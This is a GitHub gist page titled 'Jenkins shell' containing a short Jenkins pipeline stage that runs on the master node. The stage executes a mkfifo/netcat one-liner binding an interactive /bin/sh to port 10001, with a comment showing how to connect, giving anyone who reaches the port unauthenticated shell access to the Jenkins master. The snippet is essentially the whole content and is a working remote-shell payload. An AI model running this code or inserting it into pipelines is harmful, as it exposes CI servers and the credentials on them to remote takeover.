Skip to content

Instantly share code, notes, and snippets.

@ludenus
Created May 11, 2018 21:28
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ludenus/e5461ddd97283c30e98c25045a3160a4 to your computer and use it in GitHub Desktop.
Save ludenus/e5461ddd97283c30e98c25045a3160a4 to your computer and use it in GitHub Desktop.
Jenkins shell
stage('nc'){
node('master'){
sh 'ip addr show;rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc -l -p 10001 >/tmp/f'
// to connect:
// $ nc master-host 10001
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment